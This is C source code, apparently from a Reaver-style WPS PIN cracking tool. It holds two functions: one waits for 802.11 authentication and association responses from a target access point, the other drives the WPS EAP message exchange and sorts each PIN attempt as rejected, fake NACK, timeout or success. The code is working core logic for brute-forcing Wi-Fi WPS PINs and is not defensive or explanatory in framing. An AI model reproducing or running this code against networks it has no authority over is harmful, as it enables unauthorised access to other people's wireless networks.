/* Waits for authentication and association responses from the target AP */ static int process_authenticate_associate_resp(int want_assoc) { struct pcap_pkthdr header; unsigned char *packet; struct radio_tap_header *rt_header; struct dot11_frame_header *dot11_frame; struct authentication_management_frame *auth_frame; struct association_response_management_frame *assoc_frame; int ret_val = 0; start_timer(); while(!get_out_of_time()) { if((packet = next_packet(&header)) == NULL) break; if(header.len < MIN_AUTH_SIZE) continue; rt_header = (void*) radio_header(packet, header.len); size_t rt_header_len = end_le16toh(rt_header->len); dot11_frame = (void*)(packet + rt_header_len); if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) != 0) || (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) != 0)) continue; int isMgmtFrame = (dot11_frame->fc & end_htole16(IEEE80211_FCTL_FTYPE)) == end_htole16(IEEE80211_FTYPE_MGMT); if(!isMgmtFrame) continue; void *ptr = (packet + sizeof(struct dot11_frame_header) + rt_header_len); auth_frame = ptr; assoc_frame = ptr; int isAuthResp = (dot11_frame->fc & end_htole16(IEEE80211_FCTL_STYPE)) == end_htole16(IEEE80211_STYPE_AUTH); int isAssocResp = (dot11_frame->fc & end_htole16(IEEE80211_FCTL_STYPE)) == end_htole16(IEEE80211_STYPE_ASSOC_RESP); if(!isAuthResp && !isAssocResp) continue; if(isAuthResp && want_assoc) continue; /* Did we get an authentication packet with a successful status? */ if(isAuthResp && (auth_frame->status == end_htole16(AUTHENTICATION_SUCCESS))) { ret_val = AUTH_OK; break; } /* Did we get an association packet with a successful status? */ else if(isAssocResp && (assoc_frame->status == end_htole16(ASSOCIATION_SUCCESS))) { ret_val = ASSOCIATE_OK; break; } } return ret_val; }
/* Main loop to listen for packets on a wireless card in monitor mode. */ enum wps_result do_wps_exchange() { struct pcap_pkthdr header; const u_char *packet = NULL; enum wps_type packet_type = UNKNOWN, last_msg = UNKNOWN; enum wps_result ret_val = KEY_ACCEPTED; int premature_timeout = 0, terminated = 0, got_nack = 0; int id_response_sent = 0, tx_type = 0; int m2_sent = 0, m4_sent = 0, m6_sent = 0; /* Initialize settings for this WPS exchange */ set_last_wps_state(0); set_eap_id(0); /* Initiate an EAP session */ send_eapol_start(); /* * Loop until: * * o The pin has been cracked * o An EAP_FAIL packet is received * o We receive a NACK message * o We hit an unrecoverable receive timeout */ while ((get_key_status() != KEY_DONE) && !terminated && !got_nack && !premature_timeout) { tx_type = 0; if (packet_type > last_msg) { last_msg = packet_type; } packet = next_packet(&header); if (packet == NULL) { break; } packet_type = process_packet(packet, &header); memset((void *) packet, 0, header.len); switch (packet_type) { case IDENTITY_REQUEST: cprintf(VERBOSE, "[+] Received identity request\n"); tx_type = IDENTITY_RESPONSE; id_response_sent = 1; break; case M1: cprintf(VERBOSE, "[+] Received \033[1;35mM1\033[0m message\n"); if (id_response_sent && !m2_sent) { tx_type = SEND_M2; m2_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M3: cprintf(VERBOSE, "[+] Received \033[1;35mM3\033[0m message\n"); if (m2_sent && !m4_sent) { if (globule->pixie_loop == 1) { tx_type = SEND_WSC_NACK; terminated = 1; } else if (globule->pixie_loop == 0) { tx_type = SEND_M4; m4_sent = 1; } //tx_type = SEND_M4; //m4_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M5: cprintf(VERBOSE, "[+] Received \033[1;35mM5\033[0m message\n"); if (get_key_status() == KEY1_WIP) { set_key_status(KEY2_WIP); } if (m4_sent && !m6_sent) { tx_type = SEND_M6; m6_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M7: cprintf(VERBOSE, "[+] Received \033[1;35mM7\033[0m message\n"); //bug fix made by flatr0ze if (!m6_sent) { tx_type = SEND_WSC_NACK; terminated = 1; } /* Fall through */ case DONE: if (get_key_status() == KEY2_WIP) { set_key_status(KEY_DONE); } tx_type = SEND_WSC_NACK; break; case NACK: cprintf(VERBOSE, "[+] Received WSC NACK (reason: 0x%04X)\n", get_nack_reason()); got_nack = 1; break; case TERMINATE: terminated = 1; break; default: if (packet_type != 0) { cprintf(VERBOSE, "[!] WARNING: Unexpected packet received (0x%.02X), terminating transaction\n", packet_type); terminated = 1; } break; } if (tx_type == IDENTITY_RESPONSE) { send_identity_response(); } else if (tx_type) { send_msg(tx_type); } /* * If get_oo_send_nack is 0, then when out of order packets come, we don't * NACK them. However, this also means that we wait infinitely for the expected * packet, since the timer is started by send_msg. Manually start the timer to * prevent infinite loops. */ else if (packet_type != 0) { start_timer(); } /* Check to see if our receive timeout has expired */ if (get_out_of_time()) { /* If we have not sent an identity response, try to initiate an EAP session again */ if (!id_response_sent) { /* Notify the user after EAPOL_START_MAX_TRIES eap start failures */ if (get_eapol_start_count() == EAPOL_START_MAX_TRIES) { cprintf(WARNING, "[!] WARNING: %d successive start failures\n", EAPOL_START_MAX_TRIES); set_eapol_start_count(0); premature_timeout = 1; } send_eapol_start(); } else { /* Treat all other time outs as unexpected errors */ premature_timeout = 1; } } } /* * There are four states that can signify a pin failure: * * o Got NACK instead of an M5 message (first half of pin wrong) * o Got NACK instead of an M5 message, when cracking second half (fake NACK) * o Got NACK instead of an M7 message (second half of pin wrong) * o Got receive timeout while waiting for an M5 message (first half of pin wrong) * o Got receive timeout while waiting for an M7 message (second half of pin wrong) */ if (got_nack) { /* * If a NACK message was received, then the current wps->state value will be * SEND_WSC_NACK, indicating that we need to reply with a NACK. So check the * previous state to see what state we were in when the NACK was received. */ /* Warning the user about change of reason code for the received NACK message. */ if (!get_ignore_nack_reason()) { if ((get_last_nack_reason() >= 0) && (get_nack_reason() != get_last_nack_reason())) { cprintf(WARNING, "[!] WARNING: The reason code for NACK has been changed. Potential FAKE NACK!\n"); } set_last_nack_reason(get_nack_reason()); } /* Check NACK reason code for */ if ((get_fake_nack_reason() >= 0) && (get_nack_reason() == get_fake_nack_reason()) && (get_timeout_is_nack())) { ret_val = FAKE_NACK; } else { if ((last_msg == M3) || (last_msg == M5)) { /* The AP is properly sending WSC_NACKs, so don't treat future timeouts as pin failures. */ set_timeout_is_nack(0); /* bug fix made by KokoSoft */ ret_val = ((last_msg == M3) && (get_key_status() == KEY2_WIP) && (get_timeout_is_nack())) ? FAKE_NACK : KEY_REJECTED; } else { ret_val = UNKNOWN_ERROR; } } } else if (premature_timeout) { /* * Some WPS implementations simply drop the connection on the floor instead of sending a NACK. * We need to be able to handle this, but at the same time using a timeout on the M5/M7 messages * can result in false negatives. Thus, treating M5/M7 receive timeouts as NACKs can be disabled. * Only treat the timeout as a NACK if this feature is enabled. */ if (get_timeout_is_nack() && //(last_msg == M3 || last_msg == M5)) ((last_msg == M3 && (get_key_status() == KEY1_WIP)) || last_msg == M5)) //bug fix made by flatr0ze { ret_val = KEY_REJECTED; } else { /* If we timed out at any other point in the session, then we need to try the pin again */ ret_val = RX_TIMEOUT; } } /* * If we got an EAP FAIL message without a preceeding NACK, then something went wrong. * This should be treated the same as a RX_TIMEOUT by the caller: try the pin again. */ else if (terminated) { ret_val = EAP_FAIL; } else if (get_key_status() != KEY_DONE) { ret_val = UNKNOWN_ERROR; } /* * Always completely terminate the WPS session, else some WPS state machines may * get stuck in their current state and won't accept new WPS registrar requests * until rebooted. * * Stop the receive timer that is started by the termination transmission. */ send_wsc_nack(); stop_timer(); if (get_eap_terminate() || ret_val == EAP_FAIL) { send_termination(); stop_timer(); } return ret_val; }